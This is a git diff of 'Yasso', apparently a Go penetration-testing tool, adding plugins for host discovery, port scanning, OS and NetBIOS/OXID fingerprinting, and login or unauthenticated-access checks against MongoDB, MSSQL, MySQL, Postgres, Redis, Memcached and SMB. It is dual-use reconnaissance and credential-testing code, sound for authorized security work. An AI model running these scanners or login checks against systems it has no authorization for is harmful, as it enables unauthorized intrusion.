os["030000130ed000001234000201080000000000"] = "Windows Server 2008 R2"
|
||||
os["030000130ed000001234000207080000000000"] = "Windows 8/Windows server 2012"
|
||||
os["030000130ed00000123400020f080000000000"] = "Windows 8.1/Windows Server 2012 R2"
|
||||
os["030000130ed000001234000300080001000000"] = "Windows 10/Windows Server 2016"
|
||||
os["030000130ed000001234000300080005000000"] = "Windows 10/Windows 11/Windows Server 2019"
|
||||
var banner string
|
||||
for k, v := range os {
|
||||
if k == hex.EncodeToString(reply[0:19]) {
|
||||
banner = v
|
||||
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
|
||||
}
|
||||
}
|
||||
banner = hex.EncodeToString(reply[0:19])
|
||||
_ = reply
|
||||
logger.Info(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true, fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner)
|
||||
}
|
||||
@@ -1,88 +1,17 @@
|
||||
package cmd
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/spf13/cobra"
|
||||
"net"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var (
|
||||
OS = runtime.GOOS // 系统架构
|
||||
Alive []string // 存活的ip列表
|
||||
)
|
||||
var pingCmd = &cobra.Command{
|
||||
Use: "ping",
|
||||
Short: "Use ping to scanner alive host (not support proxy)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
var ips []string
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
if Hosts != "" {
|
||||
ips, _ = ResolveIPS(Hosts) // resolve ip to []string ips
|
||||
} else {
|
||||
Println("Yasso scanner need a hosts")
|
||||
return
|
||||
}
|
||||
Println(fmt.Sprintf("[Yasso] will ping %d host", len(ips)))
|
||||
_ = execute(ips, RunICMP)
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
pingCmd.Flags().StringVarP(&Hosts, "hosts", "H", "", "Set `hosts`(The format is similar to Nmap)")
|
||||
pingCmd.Flags().BoolVarP(&RunICMP, "icmp", "i", false, "Icmp packets are sent to check whether the host is alive(need root)")
|
||||
rootCmd.AddCommand(pingCmd)
|
||||
}
|
||||
|
||||
func execute(ips []string, r bool) []string {
|
||||
var wg sync.WaitGroup
|
||||
// 修改ants池的并发方式
|
||||
p, _ := ants.NewPoolWithFunc(len(ips), func(ip interface{}) {
|
||||
var ipt string
|
||||
if r == true {
|
||||
// 127.0.0.1:8080格式
|
||||
if strings.Contains(ip.(string), ":") {
|
||||
ipt = strings.Split(ip.(string), ":")[0]
|
||||
} else {
|
||||
ipt = ip.(string)
|
||||
}
|
||||
if icmp(ipt) {
|
||||
Println(fmt.Sprintf("[+] Find %v (icmp)", ip))
|
||||
Alive = append(Alive, ip.(string))
|
||||
}
|
||||
} else {
|
||||
if strings.Contains(ip.(string), ":") {
|
||||
ipt = strings.Split(ip.(string), ":")[0]
|
||||
} else {
|
||||
ipt = ip.(string)
|
||||
}
|
||||
if ping(ipt) {
|
||||
Println(fmt.Sprintf("[+] Find %v (ping)", ip))
|
||||
Alive = append(Alive, ip.(string))
|
||||
}
|
||||
}
|
||||
wg.Done()
|
||||
})
|
||||
for _, ip := range ips {
|
||||
wg.Add(1)
|
||||
_ = p.Invoke(ip)
|
||||
}
|
||||
wg.Wait()
|
||||
return Alive
|
||||
}
|
||||
|
||||
func ping(ip string) bool {
|
||||
var cmd *exec.Cmd
|
||||
switch OS {
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("cmd", "/c", "ping -n 1 -w 1 "+ip+" && echo true || echo false")
|
||||
case "linux":
|
||||
@@ -1,16 +1,16 @@
|
||||
package cmd
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 未授权
|
||||
|
||||
func MemcacheConn(info config.HostIn) (bool, error) {
|
||||
client, err := GetConn(fmt.Sprintf("%s:%v", info.Host, info.Port), info.TimeOut)
|
||||
func MemcacheConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
client, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
@@ -20,7 +20,7 @@ func MemcacheConn(info config.HostIn) (bool, error) {
|
||||
}
|
||||
}()
|
||||
if err == nil {
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(info.TimeOut)))
|
||||
err = client.SetDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err == nil {
|
||||
_, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten
|
||||
if err == nil {
|
||||
@@ -28,7 +28,7 @@ func MemcacheConn(info config.HostIn) (bool, error) {
|
||||
n, err := client.Read(reply)
|
||||
if err == nil {
|
||||
if bytes.Contains(reply[:n], []byte("STAT")) {
|
||||
Println(fmt.Sprintf("[+] Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Host, info.Port)))
|
||||
logger.Success(fmt.Sprintf("Memcached %s unauthorized", fmt.Sprintf("%s:%v", info.Hostname, info.Port)))
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
83
core/plugin/mongo.go
Normal file
83
core/plugin/mongo.go
Normal file
@@ -0,0 +1,83 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"gopkg.in/mgo.v2"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MongoAuth(info config.ServiceConn, user, pass string) (*mgo.Session, bool, error) {
|
||||
|
||||
conf := &mgo.DialInfo{
|
||||
Dial: func(addr net.Addr) (net.Conn, error) {
|
||||
return net.DialTimeout("tcp", addr.String(), info.Timeout)
|
||||
},
|
||||
Addrs: []string{fmt.Sprintf("%s:%d", info.Hostname, info.Port)},
|
||||
Timeout: info.Timeout,
|
||||
Database: "test",
|
||||
Source: "admin",
|
||||
Username: user,
|
||||
Password: pass,
|
||||
PoolLimit: 4096,
|
||||
Direct: false,
|
||||
}
|
||||
db, err := mgo.DialWithInfo(conf)
|
||||
if err == nil {
|
||||
err = db.Ping()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return db, true, nil
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
func MongoUnAuth(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
data1 := []byte{58, 0, 0, 0, 167, 65, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 255, 255, 255, 255, 19, 0, 0, 0, 16, 105, 115, 109, 97, 115, 116, 101, 114, 0, 1, 0, 0, 0, 0}
|
||||
data2 := []byte{72, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 212, 7, 0, 0, 0, 0, 0, 0, 97, 100, 109, 105, 110, 46, 36, 99, 109, 100, 0, 0, 0, 0, 0, 1, 0, 0, 0, 33, 0, 0, 0, 2, 103, 101, 116, 76, 111, 103, 0, 16, 0, 0, 0, 115, 116, 97, 114, 116, 117, 112, 87, 97, 114, 110, 105, 110, 103, 115, 0, 0}
|
||||
connString := fmt.Sprintf("%s:%v", info.Hostname, info.Port)
|
||||
conn, err := net.DialTimeout("tcp", connString, info.Timeout)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(data1)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
reply := make([]byte, 1024)
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "ismaster") {
|
||||
_, err = conn.Write(data2)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
count, err := conn.Read(reply)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
text := string(reply[0:count])
|
||||
if strings.Contains(text, "totalLinesWritten") {
|
||||
flag = true
|
||||
logger.Success(fmt.Sprintf("Mongodb %v unauthorized", info.Hostname))
|
||||
}
|
||||
}
|
||||
return flag, nil
|
||||
}
|
||||
78
core/plugin/mssql.go
Normal file
78
core/plugin/mssql.go
Normal file
@@ -0,0 +1,78 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
_ "github.com/denisenkom/go-mssqldb"
|
||||
"net"
|
||||
"strconv"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MssqlConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("mssql", fmt.Sprintf("sqlserver://%v:%v@%v:%v/?connection&timeout=%v&encrypt=disable", user, pass, info.Hostname, info.Port, info.Timeout))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
|
||||
db.SetMaxIdleConns(0)
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
return db, flag, nil
|
||||
}
|
||||
}
|
||||
return db, flag, err
|
||||
}
|
||||
|
||||
func VersionMssql(info config.ServiceConn) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
msg := "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x01\x55\x00\x00\x02\x4d\x53\x53\x51\x4c\x53\x65\x72\x76\x65\x72\x00\x00\x00\x31\x32"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
} else if hex.EncodeToString(reply[0:4]) != "04010025" {
|
||||
return false, ""
|
||||
}
|
||||
v, status := getVersion(reply)
|
||||
if status {
|
||||
logger.Info(fmt.Sprintf("%s:%v [version:%v][mssql]", info.Hostname, info.Port, v))
|
||||
return true, fmt.Sprintf("%s:%v [version:%v]", info.Hostname, info.Port, v)
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
|
||||
func getVersion(reply []byte) (string, bool) {
|
||||
m, err := strconv.ParseUint(hex.EncodeToString(reply[29:30]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
s, err := strconv.ParseUint(hex.EncodeToString(reply[30:31]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
r, err := strconv.ParseUint(hex.EncodeToString(reply[31:33]), 16, 32)
|
||||
if err != nil {
|
||||
return "", false
|
||||
}
|
||||
v := fmt.Sprintf("%d.%d.%d", m, s, r)
|
||||
return v, true
|
||||
}
|
||||
25
core/plugin/mysql.go
Normal file
25
core/plugin/mysql.go
Normal file
@@ -0,0 +1,25 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
_ "github.com/go-sql-driver/mysql"
|
||||
"time"
|
||||
)
|
||||
|
||||
func MySQLConn(info config.ServiceConn, user, pass string) (*sql.DB, bool, error) {
|
||||
var flag = false
|
||||
address := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", user, pass, info.Hostname, info.Port, info.Timeout)
|
||||
db, err := sql.Open("mysql", address)
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
db.SetConnMaxIdleTime(time.Duration(info.Timeout))
|
||||
//defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return db, flag, err
|
||||
}
|
||||
134
core/plugin/nbnsscan.go
Normal file
134
core/plugin/nbnsscan.go
Normal file
@@ -0,0 +1,134 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func NbnsScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
conn, err := net.DialTimeout("udp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
msg := []byte{
|
||||
0x0, 0x00, 0x0, 0x10, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x20, 0x43, 0x4b, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41,
|
||||
0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x0, 0x0,
|
||||
0x21, 0x0, 0x1,
|
||||
}
|
||||
_, err = conn.Write(msg)
|
||||
if err != nil {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
err = conn.SetDeadline(time.Now().Add(time.Duration(timeout)))
|
||||
if err != nil {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return false, ""
|
||||
}
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false, ""
|
||||
}
|
||||
/*
|
||||
Re: https://en.wikipedia.org/wiki/NetBIOS#NetBIOS_Suffixes
|
||||
For unique names:
|
||||
00: Workstation Service (workstation name)
|
||||
03: Windows Messenger service
|
||||
06: Remote Access Service
|
||||
20: File Service (also called Host Record)
|
||||
21: Remote Access Service client
|
||||
1B: Domain Master Browser – Primary Domain Controller for a domain
|
||||
1D: Master Browser
|
||||
For group names:
|
||||
00: Workstation Service (workgroup/domain name)
|
||||
1C: Domain Controllers for a domain (group record with up to 25 IP addresses)
|
||||
1E: Browser Service Elections
|
||||
*/
|
||||
var n int
|
||||
NumberFoNames, _ := strconv.Atoi(convert([]byte{reply[56:57][0]}[:]))
|
||||
var flagGroup string
|
||||
var flagUnique string
|
||||
var flagDC string
|
||||
|
||||
for i := 0; i < NumberFoNames; i++ {
|
||||
data := reply[n+57+18*i : n+57+18*i+18]
|
||||
if string(data[16:17]) == "\x84" || string(data[16:17]) == "\xC4" {
|
||||
if string(data[15:16]) == "\x1C" {
|
||||
flagDC = "Domain Controllers"
|
||||
}
|
||||
if string(data[15:16]) == "\x00" {
|
||||
flagGroup = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
if string(data[14:16]) == "\x02\x01" {
|
||||
flagGroup = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
} else if string(data[16:17]) == "\x04" || string(data[16:17]) == "\x44" || string(data[16:17]) == "\x64" {
|
||||
if string(data[15:16]) == "\x1C" {
|
||||
flagDC = "Domain Controllers"
|
||||
}
|
||||
if string(data[15:16]) == "\x00" {
|
||||
flagUnique = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
if string(data[15:16]) == "\x20" {
|
||||
flagUnique = nbnsByteToStringParse(data[0:16])
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if flagGroup == "" && flagUnique == "" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
result := make(map[string]interface{})
|
||||
result["banner.string"] = flagGroup + "\\" + flagUnique
|
||||
result["identify.string"] = fmt.Sprintf("[%s]", logger.LightRed(flagDC))
|
||||
if len(flagDC) != 0 {
|
||||
result["identify.bool"] = true
|
||||
} else {
|
||||
result["identify.bool"] = false
|
||||
}
|
||||
if result["identify.bool"] == true {
|
||||
logger.Success(fmt.Sprintf("[%s] %v %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"], result["identify.string"]))
|
||||
} else {
|
||||
logger.Success(fmt.Sprintf("[%s] %v", fmt.Sprintf("%v:%v", host, port), result["banner.string"]))
|
||||
}
|
||||
|
||||
return true, fmt.Sprintf("%v", result["banner.string"])
|
||||
}
|
||||
|
||||
func convert(b []byte) string {
|
||||
s := make([]string, len(b))
|
||||
for i := range b {
|
||||
s[i] = strconv.Itoa(int(b[i]))
|
||||
}
|
||||
return strings.Join(s, "")
|
||||
}
|
||||
|
||||
func nbnsByteToStringParse(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
return res
|
||||
}
|
||||
77
core/plugin/oxidscan.go
Normal file
77
core/plugin/oxidscan.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func OxidScanConn(host string, port int, timeout time.Duration) (bool, string) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", host, port), timeout)
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
msg1 := "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00\xf8\x0f\xf8\x0f\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xc4\xfe\xfc\x99\x60\x52\x1b\x10\xbb\xcb\x00\xaa\x00\x21\x34\x7a\x00\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"
|
||||
msg2 := "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x00"
|
||||
_, err = conn.Write([]byte(msg1))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
reply1 := make([]byte, 256)
|
||||
_, _ = conn.Read(reply1)
|
||||
|
||||
if hex.EncodeToString(reply1[0:8]) != "05000c0310000000" {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
_, err = conn.Write([]byte(msg2))
|
||||
if err != nil {
|
||||
return false, ""
|
||||
}
|
||||
|
||||
reply2 := make([]byte, 512)
|
||||
_, _ = conn.Read(reply2)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
c := 0
|
||||
zero := make([]byte, 1)
|
||||
var buffer bytes.Buffer
|
||||
result := make(map[string]string)
|
||||
for i := 0; i < len(reply2[42:]); {
|
||||
b := reply2[42:][i : i+2]
|
||||
i += 2
|
||||
if 42+i == len(reply2[42:]) {
|
||||
break
|
||||
}
|
||||
if string(b) == "\x09\x00" {
|
||||
break
|
||||
}
|
||||
if string(b) == "\x07\x00" {
|
||||
c += 1
|
||||
if c == 6 {
|
||||
break
|
||||
}
|
||||
buffer.Write([]byte("\x7C\x7C"))
|
||||
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
|
||||
continue
|
||||
}
|
||||
if bytes.Equal(b[0:1], zero[0:1]) {
|
||||
continue
|
||||
}
|
||||
buffer.Write(b[0:1])
|
||||
result["banner.string"] = strings.Join([]string{string(buffer.Bytes())}, ",")
|
||||
if c == 6 {
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(strings.Split(result["banner.string"], "||")) > 0 {
|
||||
logger.Success(strings.Split(result["banner.string"], "||"))
|
||||
}
|
||||
return true, fmt.Sprintf("%v", strings.Split(result["banner.string"], "||"))
|
||||
}
|
||||
22
core/plugin/postgres.go
Normal file
22
core/plugin/postgres.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
func PostgreConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
var flag = false
|
||||
db, err := sql.Open("postgres", fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", user, pass, info.Hostname, info.Port, "postgres", "disable"))
|
||||
if err == nil {
|
||||
db.SetConnMaxLifetime(time.Duration(info.Timeout))
|
||||
defer db.Close()
|
||||
err = db.Ping()
|
||||
if err == nil {
|
||||
flag = true
|
||||
}
|
||||
}
|
||||
return flag, err
|
||||
}
|
||||
64
core/plugin/ps.go
Normal file
64
core/plugin/ps.go
Normal file
@@ -0,0 +1,64 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
type Scanner struct {
|
||||
ports []int
|
||||
ip string
|
||||
scanChannel chan int
|
||||
thread int
|
||||
scan func(ip string, port int) bool
|
||||
}
|
||||
|
||||
func NewRunner(ports []int, ip string, thread int, scan func(ip string, port int) bool) *Scanner {
|
||||
return &Scanner{
|
||||
ports: ports,
|
||||
ip: ip,
|
||||
scanChannel: make(chan int, 1000),
|
||||
thread: thread,
|
||||
scan: scan,
|
||||
}
|
||||
}
|
||||
|
||||
func (s *Scanner) RunEnumeration() []int {
|
||||
var wg sync.WaitGroup
|
||||
var re []int
|
||||
for i := 0; i < s.thread; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for p := range s.scanChannel {
|
||||
if s.scan(s.ip, p) {
|
||||
logger.Info(fmt.Sprintf("%v:%v is open", s.ip, p))
|
||||
re = append(re, p)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
for _, p := range s.ports {
|
||||
s.scanChannel <- p
|
||||
}
|
||||
close(s.scanChannel)
|
||||
wg.Wait()
|
||||
return re
|
||||
}
|
||||
|
||||
func tcpConn(ip string, port int) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", ip, port), 100*time.Millisecond)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
conn.Close()
|
||||
return true
|
||||
}
|
||||
|
||||
//TODO: 暂定,目前还没有syn扫描方式
|
||||
func synConn(ip string, port int) bool {
|
||||
return true
|
||||
}
|
||||
105
core/plugin/redis.go
Normal file
105
core/plugin/redis.go
Normal file
@@ -0,0 +1,105 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func RedisAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
|
||||
var flag = false
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
// 认证
|
||||
_, err = conn.Write([]byte(fmt.Sprintf("auth %s\r\n", pass)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "+OK") {
|
||||
flag = true
|
||||
dbfilename := redisInfo(conn, reply)
|
||||
logger.Info(fmt.Sprintf("Redis %s:%v Login Success dbfilename:[%v]", info.Hostname, info.Port, dbfilename))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisUnAuthConn(info config.ServiceConn, user, pass string) (net.Conn, bool, error) {
|
||||
_, _ = user, pass
|
||||
var flag = false
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
err = conn.SetReadDeadline(time.Now().Add(time.Duration(info.Timeout)))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
_, err = conn.Write([]byte("info\r\n"))
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
reply, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return conn, false, err
|
||||
}
|
||||
if strings.Contains(reply, "redis_version") {
|
||||
flag = true
|
||||
dbfilename := redisInfo(conn, reply)
|
||||
logger.Success(fmt.Sprintf("Redis %s:%v unauthorized dbfilename:[%v] ", info.Hostname, info.Port, dbfilename))
|
||||
}
|
||||
return conn, flag, nil
|
||||
}
|
||||
|
||||
func RedisReply(conn net.Conn) (string, error) {
|
||||
var (
|
||||
r string
|
||||
err error
|
||||
)
|
||||
buf := make([]byte, 5*1024)
|
||||
for {
|
||||
count, err := conn.Read(buf)
|
||||
if err != nil {
|
||||
break
|
||||
}
|
||||
r += string(buf[0:count])
|
||||
if count < 5*1024 {
|
||||
break
|
||||
}
|
||||
}
|
||||
return r, err
|
||||
}
|
||||
|
||||
func redisInfo(conn net.Conn, reply string) string {
|
||||
var (
|
||||
dbfilename string
|
||||
)
|
||||
// 读取filename
|
||||
_, err := conn.Write([]byte(fmt.Sprintf("CONFIG GET dbfilename\r\n")))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
text, err := RedisReply(conn)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
text1 := strings.Split(text, "\r\n")
|
||||
if len(text1) > 2 {
|
||||
dbfilename = text1[len(text1)-2]
|
||||
} else {
|
||||
dbfilename = text1[0]
|
||||
}
|
||||
return dbfilename
|
||||
}
|
||||
58
core/plugin/rmi.go
Normal file
58
core/plugin/rmi.go
Normal file
@@ -0,0 +1,58 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// RMIConn 识别rmi服务方式
|
||||
func RMIConn(info config.ServiceConn, user, pass string) bool {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
msg := "\x4a\x52\x4d\x49\x00\x02\x4b"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
reply := make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
var buffer [256]byte
|
||||
if bytes.Equal(reply[:], buffer[:]) {
|
||||
return false
|
||||
} else if hex.EncodeToString(reply[0:1]) != "4e" {
|
||||
return false
|
||||
}
|
||||
// 这里解析出字符串
|
||||
banner := byteToString(reply)
|
||||
logger.Success(fmt.Sprintf("%v [%v]", fmt.Sprintf("%v:%v", info.Hostname, info.Port), banner))
|
||||
return true
|
||||
}
|
||||
|
||||
func byteToString(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
|
||||
w = append(w, asciiTo16)
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
|
||||
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
|
||||
return s[0]
|
||||
}
|
||||
return res
|
||||
}
|
||||
46
core/plugin/smb.go
Normal file
46
core/plugin/smb.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"errors"
|
||||
"github.com/stacktitan/smb/smb"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SmbConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
signal := make(chan struct{})
|
||||
var (
|
||||
flag bool
|
||||
err error
|
||||
)
|
||||
go func() {
|
||||
flag, err = dialSmbTimeOut(info, user, pass, signal)
|
||||
}()
|
||||
select {
|
||||
case <-signal:
|
||||
return flag, err
|
||||
case <-time.After(1 * time.Second):
|
||||
return false, errors.New("smb conn time out")
|
||||
}
|
||||
}
|
||||
|
||||
